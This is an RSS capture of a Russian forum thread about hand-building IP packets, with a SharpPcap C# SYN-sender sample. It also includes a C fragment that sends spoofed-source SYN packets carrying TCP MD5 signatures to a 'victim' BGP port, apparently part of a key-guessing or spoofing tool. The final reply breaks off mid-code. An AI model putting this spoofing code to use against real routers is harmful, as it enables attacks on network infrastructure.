<?xml version='1.0' encoding="utf-8"?>
      <rss version='2.0'>
      <channel>
      <title>Форум на Исходниках.RU</title>
      <link>https://forum.sources.ru</link>
      <description>Форум на Исходниках.RU</description>
      <generator>Форум на Исходниках.RU</generator>
  	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=2696364</guid>
        <pubDate>Mon, 13 Sep 2010 20:01:24 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=2696364</link>
        <description><![CDATA[s611: Хочу добавить сигнатуру MD5 в SYN пакет, который собираю на CSharp:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">using System;</div><div class="code_line">using System.Net.NetworkInformation;</div><div class="code_line">using System.Collections.Generic;</div><div class="code_line">using SharpPcap;</div><div class="code_line">using SharpPcap.Packets;</div><div class="code_line">&nbsp;</div><div class="code_line">/*</div><div class="code_line">Copyright (c) 2006 Tamir Gal, http://www.tamirgal.com, All rights reserved.</div><div class="code_line">&nbsp;</div><div class="code_line">Redistribution and use in source and binary forms, with or without</div><div class="code_line">modification, are permitted provided that the following conditions are met:</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;1. Redistributions of source code must retain the above copyright notice,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;this list of conditions and the following disclaimer.</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;2. Redistributions in binary form must reproduce the above copyright </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;notice, this list of conditions and the following disclaimer in </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;the documentation and/or other materials provided with the distribution.</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;3. The names of the authors may not be used to endorse or promote products</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;derived from this software without specific prior written permission.</div><div class="code_line">&nbsp;</div><div class="code_line">THIS SOFTWARE IS PROVIDED ``AS IS&#39;&#39; AND ANY EXPRESSED OR IMPLIED WARRANTIES,</div><div class="code_line">INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND</div><div class="code_line">FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR</div><div class="code_line">OR ANY CONTRIBUTORS TO THIS SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT,</div><div class="code_line">INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT</div><div class="code_line">LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,</div><div class="code_line">OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF</div><div class="code_line">LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING</div><div class="code_line">NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,</div><div class="code_line">EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</div><div class="code_line">*/</div><div class="code_line">&nbsp;</div><div class="code_line">namespace Test</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;/// &#60;summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp;/// A sample showing how to build a SYN packet.</div><div class="code_line">&nbsp;&nbsp; &nbsp;/// The program prompt the user for a Network Interface, builds a TCP SYN packet,</div><div class="code_line">&nbsp;&nbsp; &nbsp;/// injects it through the interface and print the SYN/ACK reply from the remote</div><div class="code_line">&nbsp;&nbsp; &nbsp;/// host.</div><div class="code_line">&nbsp;&nbsp; &nbsp;/// &#60;/summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp;public class SendTcpSynExample</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;static int lLen = EthernetFields_Fields.ETH_HEADER_LEN;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// The IP address of the remote host, please change to your desired IP address</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;/summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;static System.Net.IPAddress destIP = System.Net.IPAddress.Parse(&quot;10.0.0.100&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// The MAC address of the next hop (e.g. gateway or a host on local LAN)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;/summary&#62; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;static string destMAC = &quot;00:00:44:77:ac:01&quot;;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// Destination port</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;/summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;static int destPort = 80;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// Arbitrary source port</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;/// &#60;/summary&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;static int sourcePort = 2222;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public static void SendTcpSyn(PcapDevice dev)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] bytes = new byte[54];</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TCPPacket tcp = new TCPPacket(lLen, bytes, true);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Ethernet fields</div><div class="code_line">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.SourceHwAddress = dev.MacAddress; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //Set the source mac of the local device</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.DestinationHwAddress = PhysicalAddress.Parse(destMAC); &nbsp; &nbsp; //Set the dest MAC of the gateway</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.EthernetProtocol = EthernetPacket.EtherType.IP;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//IP fields</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.DestinationAddress = destIP; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//The IP of the destination host</div><div class="code_line">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.SourceAddress = System.Net.IPAddress.Parse(dev.IpAddress); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//The IP of the local device</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.IPProtocol = IPProtocol.IPProtocolType.TCP;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.TimeToLive = 20;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.ipv4.Id = 100; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.IPVersion = IPPacket.IPVersions.IPv4;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.ipv4.IPTotalLength = bytes.Length-lLen; &nbsp; &nbsp; &nbsp; &nbsp; //Set the correct IP length</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.ipv4.IPHeaderLength = IPv4Fields_Fields.IP_HEADER_LEN;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//TCP fields</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.SourcePort = sourcePort; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//The TCP source port</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.DestinationPort = destPort; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //The TCP dest port</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.Syn = true; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //Set the SYN flag on</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.WindowSize = 555;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.AcknowledgmentNumber = 1000;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.SequenceNumber = 1000; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.TCPHeaderLength = TCPFields_Fields.TCP_HEADER_LEN; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Set the correct TCP header length</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//tcp.SetData( System.Text.Encoding.ASCII.GetBytes(&quot;HELLO&quot;) );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Calculate checksums</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//TODO: need to implement the checksumming routines</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;throw new System.NotImplementedException();</div><div class="code_line">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.ComputeIPChecksum();</div><div class="code_line">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp.ComputeTCPChecksum();</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dev.Open(true, 20);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Set a filter to capture only replies</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//FIXME: PcapDevice doesn&#39;t have an IpAddress. Not sure if the more permissive</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// &nbsp; &nbsp; &nbsp; filter will work the same</div><div class="code_line">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dev.PcapSetFilter(&quot;ip src &quot;+destIP+&quot; and ip dst &quot;+</div><div class="code_line">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dev.IpAddress+&quot; and tcp src port &quot;+destPort+&quot; and tcp dst port &quot;+sourcePort);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dev.SetFilter(&quot;ip src &quot;+destIP+</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; and tcp src port &quot;+destPort+&quot; and tcp dst port &quot;+sourcePort);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Send the packet</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.Write(&quot;Sending packet: &quot;+tcp+&quot;...&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dev.SendPacket(tcp);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;Packet sent.&quot;);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Holds the reply</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Packet reply;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Wait till you get a reply</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while((reply=dev.GetNextPacket())==null);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//print the reply</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;Reply received: &quot;+reply);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dev.Close();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public static void Main1(string[] args)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;string ver = SharpPcap.Version.VersionString;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* Print SharpPcap version */</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;SharpPcap {0}, SendTcpSynExample.cs&quot;, ver);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine();</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* Retrieve the device list */</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;List&#60;PcapDevice&#62; devices = Pcap.GetAllDevices();</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/*If no device exists, print error */</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if(devices.Count&#60;1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;No device found on this machine&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;The following devices are available on this machine:&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;----------------------------------------------------&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine();</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int i=0;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* Scan the list printing every entry */</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;foreach(PcapDevice dev in devices)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* Description */</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine(&quot;{0}) {1}&quot;,i,dev.Description);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;i++;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.WriteLine();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Console.Write(&quot;-- Please choose a device for sending: &quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;i = int.Parse( Console.ReadLine() );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PcapDevice device = devices[i];</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SendTcpSyn(device);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">}</div></ol></div></div></div></div><script>preloadCodeButtons('1');</script><br>
<br>
На С++ это выглядит примерно так<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">#include &#60;stdlib.h&#62;</div><div class="code_line">#include &#60;unistd.h&#62;</div><div class="code_line">#include &#60;sys/socket.h&#62;</div><div class="code_line">#include &#60;time.h&#62;</div><div class="code_line">#include &#60;string.h&#62;</div><div class="code_line">#include &#60;netdb.h&#62;</div><div class="code_line">#include &#60;netinet/ip.h&#62;</div><div class="code_line">#include &#60;netinet/tcp.h&#62;</div><div class="code_line">&nbsp;</div><div class="code_line">#include &quot;bgp.h&quot;</div><div class="code_line">&nbsp;</div><div class="code_line">struct tcp_segment {</div><div class="code_line">&nbsp;&nbsp; &nbsp;struct tcphdr tcp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;/* TCP options */</div><div class="code_line">&nbsp;&nbsp; &nbsp;u_char opt_type;</div><div class="code_line">&nbsp;&nbsp; &nbsp;u_char opt_len;</div><div class="code_line">&nbsp;&nbsp; &nbsp;u_char md5_digest[MD5_DIGEST_LENGTH];</div><div class="code_line">&nbsp;&nbsp; &nbsp;u_char eol;</div><div class="code_line">};</div><div class="code_line">&nbsp;</div><div class="code_line">/*</div><div class="code_line">&nbsp;* These vars. are initialized by online_init() </div><div class="code_line">&nbsp;*/</div><div class="code_line">int sockfd;</div><div class="code_line">struct sockaddr_in sockaddr;</div><div class="code_line">struct { /* IP packet: IP header + TCP header + TCP options (no TCP data) */</div><div class="code_line">&nbsp;&nbsp; &nbsp;struct iphdr ip;</div><div class="code_line">&nbsp;&nbsp; &nbsp;struct tcp_segment tcp_segment;</div><div class="code_line">} packet;</div><div class="code_line">&nbsp;</div><div class="code_line">void online_init(struct in_addr spoof, struct in_addr victim)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;if ( (sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW) ) == -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;error(1, &quot;socket()&quot;);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;srandom(time(NULL) );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;sockaddr.sin_family = AF_INET;</div><div class="code_line">&nbsp;&nbsp; &nbsp;sockaddr.sin_port = htons(179);</div><div class="code_line">&nbsp;&nbsp; &nbsp;sockaddr.sin_addr = victim;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;bzero(&amp;packet, sizeof(packet) );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;/* IP header */</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.version = 4;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.ihl = 5;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.tos = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.tot_len = htons(sizeof(packet) );</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.id = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.frag_off = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.ttl = htons(32000 + rand()%116);</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.protocol = IPPROTO_TCP;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.saddr = spoof.s_addr;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.ip.daddr = victim.s_addr;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;/* TCP header */</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.source = htons(rand()%40000 + 1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.dest = htons(179);</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.seq = htons((rand()%40000000 + 1) &#62;&#62; 16);</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.ack_seq = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.doff = sizeof(struct tcp_segment)/4;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.res1 = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.ack = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.psh = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.rst = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.syn = 1; /* Oh yes! */</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.fin = 0;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.window = htons(rand() % 1401 + 200);</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.urg_ptr = 0;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;/* TCP options */</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.opt_type = TCPOPT_SIGNATURE;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.opt_len = 2 + MD5_DIGEST_LENGTH;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.eol = TCPOPT_EOL;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;</div><div class="code_line">void online_pack(char *key)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;struct {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;in_addr_t saddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;in_addr_t daddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;u_int16_t protocol;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;u_int16_t len;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;struct tcp_segment tcp_segment;</div><div class="code_line">&nbsp;&nbsp; &nbsp;} pseudo_packet;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;MD5_Final( (char *) &amp;packet.tcp_segment.md5_digest,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp_sig( (struct iphdr *) &amp;packet, key) );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;pseudo_packet.saddr = packet.ip.saddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp;pseudo_packet.daddr = packet.ip.daddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp;pseudo_packet.protocol = htons(packet.ip.protocol);</div><div class="code_line">&nbsp;&nbsp; &nbsp;pseudo_packet.len = htons(ntohs(packet.ip.tot_len) - packet.ip.ihl*4);</div><div class="code_line">&nbsp;&nbsp; &nbsp;memcpy(&amp;pseudo_packet.tcp_segment, &amp;packet.tcp_segment,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sizeof(struct tcp_segment) );</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.check = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;packet.tcp_segment.tcp.check = in_cksum(&amp;pseudo_packet,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sizeof(pseudo_packet) );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;sendto(sockfd, &amp;packet, sizeof(packet), 0,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;(struct sockaddr *) &amp;sockaddr, sizeof(struct sockaddr_in) );</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;usleep(options.delay);</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
что надо дописать в код на C# согласно <a class='tag-url' href='http://rfc.com.ru/rfc2385.htm' target='_blank'>RFC2385</a> чтобы это работало?]]></description>
        <author>s611</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=2069126</guid>
        <pubDate>Mon, 15 Sep 2008 12:53:32 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=2069126</link>
        <description><![CDATA[Viper: Да.... не прошло и 4-х лет :(]]></description>
        <author>Viper</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=2068996</guid>
        <pubDate>Mon, 15 Sep 2008 11:27:49 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=2068996</link>
        <description><![CDATA[uranik: Да легко пакеты собираются:<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">using System;</div><div class="code_line">using System.Collections.Generic;</div><div class="code_line">using System.ComponentModel;</div><div class="code_line">using System.Data;</div><div class="code_line">using System.Drawing;</div><div class="code_line">using System.Text;</div><div class="code_line">using System.Windows.Forms;</div><div class="code_line">using System.Collections;</div><div class="code_line">using System.Threading;</div><div class="code_line">using System.Net;</div><div class="code_line">using System.Net.Sockets;</div><div class="code_line">using System.Runtime.InteropServices;</div><div class="code_line">&nbsp;</div><div class="code_line">namespace rawtest</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;public partial class Form1 : Form</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; 